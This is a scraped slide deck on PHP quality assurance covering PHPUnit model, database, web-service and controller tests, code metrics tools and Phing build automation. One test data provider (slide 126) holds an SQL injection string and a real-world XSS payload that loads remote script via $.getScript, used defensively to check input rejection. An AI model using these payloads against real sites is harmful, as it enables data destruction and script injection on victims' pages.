  126. 126. The bad stuff public function badData() { return array ( array ('','','',''), array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby Tables'), array (str_repeat('x', 1000), '', '', ''), array ('John Doe', 'jd@example.com', "http://t.co/@"style="font-size:999999999999px; "onmouseover="$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter 9/21/2010'), ); } /** * @dataProvider badData */ public function testModelRejectsBadData($name, $mail, $web, $comment) { $data = array ( 'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { return; } $this->fail('Expected exception should be triggered'); }
  127. 127. Let’s run it
  128. 128. Let’s run it
  129. 129. Modify our model protected $_filters; protected $_validators; ! public function __construct($params = null) { $this->_filters = array ( 'id' => array ('Int'), 'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)), 'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'), 'website' => array ('StringTrim', 'StripTags', 'StringToLower'), 'comment' => array ('StringTrim', 'StripTags'), ); $this->_validators = array ( 'id' => array ('Int'), 'fullName' => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'emailAddress' => array ( 'EmailAddress', new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'website' => array ( new Zend_Validate_Callback(array('Zend_Uri', 'check')), new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)), ), 'comment' => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array ('max' => 5000)), ), ); if (null !== $params) { $this->populate($params); } }
  130. 130. Modify setters: Id & name public function setId($id) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('id' => $id)); if (!$input->isValid('id')) { throw new Zend_Exception('Invalid ID provided'); } $this->_id = (int) $input->id; return $this; } ! public function setFullName($fullName) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('fullName' => $fullName)); if (!$input->isValid('fullName')) { throw new Zend_Exception('Invalid fullName provided'); } $this->_fullName = (string) $input->fullName; return $this; }
  131. 131. Email & website public function setEmailAddress($emailAddress) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('emailAddress' => $emailAddress)); if (!$input->isValid('emailAddress')) { throw new Zend_Exception('Invalid emailAddress provided'); } $this->_emailAddress = (string) $input->emailAddress; return $this; } ! public function setWebsite($website) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('website' => $website)); if (!$input->isValid('website')) { throw new Zend_Exception('Invalid website provided'); } $this->_website = (string) $input->website; return $this; }
  132. 132. and comment public function setComment($comment) { $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array ('comment' => $comment)); if (!$input->isValid('comment')) { throw new Zend_Exception('Invalid comment provided'); } $this->_comment = (string) $input->comment; return $this; }
  133. 133. Now we’re good!
  134. 134. Now we’re good!
  135. 135. Testing Databases
  136. 136. Integration Testing •- database specific functionality triggers - constraints - stored procedures - sharding/scalability data input/output - correct encoding of data - transactions execution and rollback •
  137. 137. Points of concern •- beware of automated data types auto increment sequence ID’s - default values like CURRENT_TIMESTAMP beware of time related issues - timestamp vs. datetime - UTC vs. local time •
  138. 138. The domain Model • Model object • Mapper object • Table gateway object Read more about it ☞
  139. 139. Change our test class class Application_Model_CommentTest extends PHPUnit_Framework_TestCase ! becomes ! class Application_Model_CommentTest extends Zend_Test_PHPUnit_DatabaseTestCase
  140. 140. Setting DB Testing up protected $_connectionMock; ! public function getConnection() { if (null === $this->_dbMock) { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $this->bootstrap->bootstrap('db'); $db = $this->bootstrap->getBootstrap()->getResource('db'); $this->_connectionMock = $this->createZendDbConnection( $db, 'zftest' ); return $this->_connectionMock; } } ! public function getDataSet() { return $this->createFlatXmlDataSet( realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml')); }
  141. 141. initialDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  142. 142. Testing SELECT public function testDatabaseCanBeRead() { $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); } $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/selectDataSet.xml'); $this->assertDataSetsEqual($expected, $ds);
  143. 143. selectDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  144. 144. Testing UPDATE public function testDatabaseCanBeUpdated() { $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment); $comment->setComment('I like you picking up the challenge!'); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); } $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/updateDataSet.xml'); $this->assertDataSetsEqual($expected, $ds);
  145. 145. updateDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I like you picking up the challenge!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  146. 146. Testing DELETE public function testDatabaseCanDeleteAComment() { $comment = new Application_Model_Comment(); $mapper = new Application_Model_CommentMapper(); $mapper->find(1, $comment) ->delete($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); } $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml'); $this->assertDataSetsEqual($expected, $ds);
  147. 147. deleteDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> </dataset>
  148. 148. Testing INSERT public function testDatabaseCanAddAComment() { $comment = new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('dragonbe@gmail.com') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); } $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $ds);
  149. 149. insertDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment id="1" fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment id="2" fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment id="3" fullName="Michelangelo van Dam" emailAddress="dragonbe@gmail.com" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>
  150. 150. Run Test
  151. 151. Run Test
  152. 152. What went wrong here?
  153. 153. AUTO_INCREMENT
  154. 154. Testing INSERT w/ filter public function testDatabaseCanAddAComment() { $comment = new Application_Model_Comment(); $comment->setFullName('Michelangelo van Dam') ->setEmailAddress('dragonbe@gmail.com') ->setWebsite('http://www.dragonbe.com') ->setComment('Unit Testing, It is so addictive!!!'); $mapper = new Application_Model_CommentMapper(); $mapper->save($comment); $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection()); $ds->addTable('comment', 'SELECT * FROM `comment`'); $filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $ds, array ('comment' => array ('id'))); } $expected = $this->createFlatXMLDataSet( APPLICATION_PATH . '/../tests/_files/addDataSet.xml'); $this->assertDataSetsEqual($expected, $filteredDs);
  155. 155. insertDataSet.xml <?xml version="1.0" encoding="UTF-8"?> <dataset> <comment fullName="B.A. Baracus" emailAddress="ba@a-team.com" website="http://www.a-team.com" comment="I pitty the fool that doesn't test!"/> <comment fullName="Martin Fowler" emailAddress="fowler@acm.org" website="http://martinfowler.com/" comment="Models are not right or wrong; they are more or less useful."/> <comment fullName="Michelangelo van Dam" emailAddress="dragonbe@gmail.com" website="http://www.dragonbe.com" comment="Unit Testing, It is so addictive!!!"/> </dataset>
  156. 156. Run Test
  157. 157. Run Test
  158. 158. Testing web services
  159. 159. Web services remarks •- you need to comply with an API that will be your reference •- you cannot always make a test-call - paid services per call test environment is “offline” network related issues
  160. 160. Example: joind.in
  161. 161. http://joind.in/api
  162. 162. JoindinTest <?php class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase { protected $_joindin; protected $_settings; } protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; }
  163. 163. JoindinTest public function testJoindinCanGetUserDetails() { $expected = '<?xml version="1.0"?><response><item><username>DragonBe</ username><full_name>Michelangelo van Dam</full_name><ID>19</ ID><last_login>1303248639</last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); } ! public function testJoindinCanCheckStatus() { $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  164. 164. Testing the service
  165. 165. Testing the service
  166. 166. Euh… what? 1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <ID>19</ID> <last_login>1303248639</last_login> + <last_login>1303250271</last_login> </item> </response> I recently logged in
  167. 167. And this? 2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus Failed asserting that two strings are equal. --- Expected +++ Actual @@ @@ <?xml version="1.0"?> <response> - <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt> + <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response> Latency of the network 1s
  168. 168. Solution… right here!
  169. 169. Your expectations
  170. 170. JoindinTest <?php class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase { protected $_joindin; protected $_settings; } protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $client = new Zend_Http_Client(); $client->setAdapter(new Zend_Http_Client_Adapter_Test()); $this->_joindin->setClient($client); $settings = simplexml_load_file(realpath( APPLICATION_PATH . '/../tests/_files/settings.xml')); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; }
  171. 171. JoindinUserMockTest public function testJoindinCanGetUserDetails() { $response = <<<EOS HTTP/1.1 200 OK Content-type: text/xml ! <?xml version="1.0"?> <response> <item> <username>DragonBe</username> <full_name>Michelangelo van Dam</full_name> <ID>19</ID> <last_login>1303248639</last_login> </item> </response> EOS; $client = $this->_joindin->getClient()->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><item><username>DragonBe</ username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</ last_login></item></response>'; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  172. 172. JoindinStatusMockTest public function testJoindinCanCheckStatus() { $date = new DateTime(); $date->setTimezone(new DateTimeZone('UTC')); $response = <<<EOS HTTP/1.1 200 OK Content-type: text/xml ! <?xml version="1.0"?> <response> <dt>{$date->format('r')}</dt> <test_string>testing unit test</test_string> </response> EOS; $client = $this->_joindin->getClient() ->getAdapter()->setResponse($response); $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; $actual = $this->_joindin->site()->getStatus('testing unit test'); $this->assertXmlStringEqualsXmlString($expected, $actual); }
  173. 173. Good implementation?
  174. 174. Good implementation?
  175. 175. Controller Testing
  176. 176. Our form flow
  177. 177. Setting up ControllerTest <?php ! class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase { ! } public function setUp() { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); parent::setUp(); }
  178. 178. Testing if form is on page public function testIndexAction() { $params = array( 'action' => 'index', 'controller' => 'index', 'module' => 'default' ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); } // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertQueryContentContains( 'h1#pageTitle', 'Please leave a comment'); $this->assertQueryCount('form#commentForm', 1);
  179. 179. Test processing public function testProcessAction() { $testData = array ( 'name' => 'testUser', 'mail' => 'test@example.com', 'web' => 'http://www.example.com', 'comment' => 'This is a test comment', ); $params = array('action' => 'process', 'controller' => 'index', 'module' => 'default'); $url = $this->url($this->urlizeOptions($params)); $this->request->setMethod('post'); $this->request->setPost($testData); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); $this->assertResponseCode(302); $this->assertRedirectTo('/index/success'); } $this->resetRequest(); $this->resetResponse(); $this->dispatch('/index/success'); $this->assertQueryContentContains('span#fullName', $testData['name']);
  180. 180. REMARK •- data providers can be used to test valid data - to test invalid data but we know it’s taken care of our model - just checking for error messages in form •
  181. 181. Test if we hit home public function testSuccessAction() { $params = array( 'action' => 'success', 'controller' => 'index', 'module' => 'default' ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params['module']); $this->assertController($params['controller']); $this->assertAction($params['action']); } $this->assertRedirectTo('/');
  182. 182. Running the tests
  183. 183. Running the tests
  184. 184. Testing it all
  185. 185. Testing it all
  186. 186. Testing it all
  187. 187. Our progress report
  188. 188. Conclusion
  189. 189. • unit testing is simple • combine integration tests with unit tests • test what counts • mock out what’s remote
  190. 190. Fork this code http://github.com/DragonBe/zftest
  191. 191. Measuring
  192. 192. Code Analysis
  193. 193. Questions • how stable is my code? • how flexible is my code? • how complex is my code? • how easy can I refactor my code?
  194. 194. Answers • PHPDepend - Dependency calculations • PHPMD - Mess detections and code “smells” • PHPCPD - Copy/paste detection • PHPCS - PHP_CodeSniffer
  195. 195. PHP Depend
  196. 196. What? • generates metrics • measure health • identify parts to improve (refactor)
  197. 197. pdepend pyramid
  198. 198. • CYCLO: Cyclomatic Complexity • LOC: Lines of Code • NOM: Number of Methods • NOC: Number of Classes • NOP: Number of Packages • AHH: Average Hierarchy Height • ANDC: Average Number of Derived Classes • FANOUT: Number of Called Classes • CALLS: Number of Operation Calls !
  199. 199. Cyclomatic Complexity • metric calculation • execution paths •- independent control structures if, else, for, foreach, switch case, while, do, … • within a single method or function •- more info http://en.wikipedia.org/wiki/ Cyclomatic_complexity

  200. 200. Average Hierarchy Height The average of the maximum length from a root class to its deepest subclass
  201. 201. pdepend pyramid Inheritance few classes derived from other classes lots of classes inherit from other classes
  202. 202. pdepend pyramid Size and complexity
  203. 203. pdepend pyramid Coupling
  204. 204. pdepend pyramid High value
  205. 205. pdepend-graph graph  about  stability:  a  mix  between  abstract  and  concrete  classes
  206. 206. PHP  Depend
  207. 207. PHP  Depend
  208. 208. PHP Mess Detection
  209. 209. What? •- detects code smells - possible bugs sub-optimal code over complicated expressions unused parameters, methods and properties wrongly named parameters, methods or properties
  210. 210. PHPMD  in  acFon
  211. 211. PHPMD  in  acFon
  212. 212. PHP Copy/Paste Detection
  213. 213. What? •- detects similar code snippets plain copy/paste work - similar code routines indicates problems - maintenance hell - downward spiral of disasters stimulates improvements - refactoring of code - moving similar code snippets in common routines • •
  214. 214. PHP CodeSniffer
  215. 215. Required evil •- validates coding standards consistency - readability set as a policy for development reports failures to meet the standard - sometimes good: parentheses on wrong line - mostly bad: line exceeds 80 characters ❖ but needed for terminal viewing of code can be set as pre-commit hook - but can cause frustration!!! • • •
  216. 216. Performance Analysis
  217. 217. https://twitter.com/#!/andriesss/status/189712045766225920
  218. 218. Automating
  219. 219. Key reason “computers are great at doing repetitive tasks very well”
  220. 220. Repetition • syntax checking • documenting • testing • measuring
  221. 221. Why Phing? • php based (it’s already on our system) • open-source • supported by many tools • very simple syntax • great documentation
  222. 222. Structure of a build <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! ! ! <!-- set global and local properties --> <property file="build.properties" /> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>
  223. 223. Structure of a build <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <project set global and local properties --> name="Application build" default="phplint"> <!-! ! <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>
  224. 224. Structure of a build <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property <!-- set file="build.properties"/> global and local override="true" /> <property file="local.properties" properties --> ! <property file="build.properties" /> <!-- define file="local.properties" override="true" /> <property our code base files --> ! <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>
  225. 225. Structure of a build <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define code base base files --> <!-- define ourour code files --> <fileset dir="${project.basedir}" id="phpfiles"> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> <include name="application/**/*.php" /> </fileset> <include name="library/In2it/**/*.php" /> ! </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>
  226. 226. Structure of a build <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> <fileset refid="phpfiles" /> </phplint> </phplint> </target> </target> </project>
  227. 227. Structure of a build <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! ! ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project> </project>
  228. 228. build.properties project.title=WeCycle phpbook:qademo dragonbe$ cat build.properties # General settings project.website=http://wecycle.local project.title=WeCycle ! # AB Testing properties abrequests=1000 abconcurrency=10
  229. 229. local.properties project.website=http://qademo.local abrequests=1000 abconcurrency=10 ! db.username=qademo_user db.password=v3rRyS3crEt db.hostname=127.0.0.1 db.dbname=qademo
  230. 230. Let’s  run  it
  231. 231. Let’s  run  it
  232. 232. Artifacts • some tools provide output we can use later • called “artifacts” • we need to store them somewhere • so we create a prepare target • that creates these artifact directories (./build) • that gets cleaned every run
  233. 233. Prepare for artifacts <target name="prepare" description="Clean up the build path"> <delete dir="${project.basedir}/build" quiet="true" /> <mkdir dir="${project.basedir}/build" /> <mkdir dir="${project.basedir}/build/docs" /> <mkdir dir="${project.basedir}/build/logs" /> <mkdir dir="${project.basedir}/build/coverage" /> <mkdir dir="${project.basedir}/build/pdepend" /> <mkdir dir="${project.basedir}/build/browser" /> </target>
  234. 234. phpdoc2 <target name="phpdoc2" description="Generating automated documentation"> <property name="doc.title" value="${project.title} API Documentation"/> <exec command="/usr/bin/phpdoc -d application/,library/In2it -e php -t ${project.basedir}/build/docs --title=&quot;${doc.title}&quot;" dir="${project.basedir}" passthru="true" /> </target>
  235. 235. PHPUnit <target name="phpunit" description="Running unit tests"> <exec command="/usr/bin/phpunit --coverage-html ${project.basedir}/build/coverage --coverage-clover ${project.basedir}/build/logs/clover.xml --log-junit ${project.basedir}/build/logs/junit.xml" dir="${project.basedir}/tests" passthru="true" /> </target>
  236. 236. PHP_CodeSniffer <target name="phpcs" description="Validate code with PHP CodeSniffer"> <exec command="/usr/bin/phpcs --report=checkstyle --report-file=${project.basedir}/build/logs/checkstyle.xml --standard=Zend --extensions=php application library/In2it" dir="${project.basedir}" passthru="true" /> </target>
  237. 237. Copy Paste Detection <target name="phpcpd" description="Detect copy/paste with PHPCPD"> <phpcpd> <fileset refid="phpfiles" /> <formatter type="pmd" outfile="${project.basedir}/build/logs/pmd-cpd.xml" /> </phpcpd> </target>
  238. 238. PHP Mess Detection <target name="phpmd" description="Mess detection with PHPMD"> <phpmd> <fileset refid="phpfiles" /> <formatter type="xml" outfile="${project.basedir}/build/logs/pmd.xml" /> </phpmd> </target>
  239. 239. PHP Depend <target name="pdepend" description="Dependency calculations with PDepend"> <phpdepend> <fileset refid="phpfiles" /> <logger type="jdepend-xml" outfile="${project.basedir}/build/logs/jdepend.xml" /> <logger type="phpunit-xml" outfile="${project.basedir}/build/logs/phpunit.xml" /> <logger type="summary-xml" outfile="${project.basedir}/build/logs/pdepend-summary.xml" /> <logger type="jdepend-chart" outfile="${project.basedir}/build/pdepend/pdepend.svg" /> <logger type="overview-pyramid" outfile="${project.basedir}/build/pdepend/pyramid.svg" /> </phpdepend> </target>
  240. 240. PHP CodeBrowser <target name="phpcb" description="Code browser with PHP_CodeBrowser"> <exec command="/usr/bin/phpcb -l ${project.basedir}/build/logs -S php -o ${project.basedir}/build/browser" dir="${project.basedir}" passthru="true"/> </target>
  241. 241. Create a build procedure <target name="build" description="Building app"> <phingCall target="prepare" /> <phingCall target="phplint" /> <phingCall target="phpunit" /> <phingCall target="phpdoc2" /> <phingCall target="phpcs" /> <phingCall target="phpcpd" /> <phingCall target="phpmd" /> <phingCall target="pdepend" /> <phingCall target="phpcb" /> </target>
  242. 242. Other things to automate • server stress-testing with Apache Benchmark • database deployment with DBDeploy • package code base with Phar •- transfer package to servers with FTP/SFTP - scp/rsync execute remote commands with SSH … so much more • •
  243. 243. Example DBDeploy ! ! ! <target name="dbdeploy" description="Update the DB to the latest version"> <!-- set the path for mysql execution scripts --> <property name="dbscripts.dir" value="${project.basedir}/${dbdeploy.scripts}" /> <!-- process the DB deltas --> <dbdeploy url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" dir="${dbscripts.dir}/deltas" outputfile="${dbscripts.dir}/all-deltas.sql" undooutputfile="${dbscripts.dir}/undo-all-deltas.sql"/> <!-- execute deltas --> <pdosqlexec url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" src="${dbscripts.dir}/all-deltas.sql"/> </target>
  244. 244. Build  it
  245. 245. Build  it
  246. 246. Continuous Integration
  247. 247. Now you are a winner!
  248. 248. Team Works!
  249. 249. Conclusion
  250. 250. Get your information in a consistent, automated way and make it accessible for the team ! More people can better safeguard the code!
  251. 251. Recommended  reading (just click on the links) www.owasp.org planet.phpunit.de
  252. 252. Recommended  reading Free • OOD  Quality  Metrics   -­‐ Robert  Cecil  MarFn h@p://www.objectmentor.com/publicaFons/oodmetrc.pdf
  253. 253. #PHPBNL14 January 25 - 26, 2014
  254. 254. Feedback/Questions Michelangelo van Dam ! michelangelo@in2it.be ! @DragonBe
  255. 255. Credits I’d like to thank the following people for sharing their creative commons pictures michelangelo: http://www.flickr.com/photos/dasprid/5148937451 birds: http://www.flickr.com/photos/andyofne/4633356197 safeguarding: http://www.flickr.com/photos/infidelic/4306205887/ bugs: http://www.flickr.com/photos/goingslo/4523034319 behaviour: http://www.flickr.com/photos/yuan2003/1812881370 prevention: http://www.flickr.com/photos/robertelyov/5159801170 progress: http://www.flickr.com/photos/dingatx/4115844000 workout: http://www.flickr.com/photos/aktivioslo/3883690673 measurement: http://www.flickr.com/photos/cobalt220/5479976917 team spirit: http://www.flickr.com/photos/amberandclint/3266859324 time: http://www.flickr.com/photos/freefoto/2198154612 continuous reporting: http://www.flickr.com/photos/dhaun/5640386266 deploy packages: http://www.flickr.com/photos/fredrte/2338592371 coffee: http://www.flickr.com/photos/nalundgaard/3167849171 chris hartjes: http://www.flickr.com/photos/akrabat/8421560178 mount everest: http://upload.wikimedia.org/wikipedia/commons/0/00/Nepal_Mount_Everest_And_Ama_dablam.jpg everybody likes this: http://www.flickr.com/photos/19marksdesign/5268732048 race cars: http://www.flickr.com/photos/robdunckley/3781995277 protection dog: http://www.flickr.com/photos/boltofblue/5724934828 gears: http://www.flickr.com/photos/freefoto/5982549938 1st place: http://www.flickr.com/photos/evelynishere/3417340248 elephpant: http://www.flickr.com/photos/drewm/3191872515
  256. 256. Thank you
  1. A particular slide catching your eye?

    Clipping is a handy way to collect important slides you want to go back to later.

×